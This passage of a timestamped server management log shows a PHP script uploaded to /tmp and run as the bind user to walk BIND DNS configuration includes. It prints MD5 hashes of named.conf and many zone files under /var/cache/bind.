				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:13:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp321147; rm /tmp/pkp321147'

2026-04-24 13:13:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:13:59: Establishing a connection
2026-04-24 13:13:59: 

PUT: /tmp/pkp412637

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:13:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp412637; rm /tmp/pkp412637'

2026-04-24 13:13:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
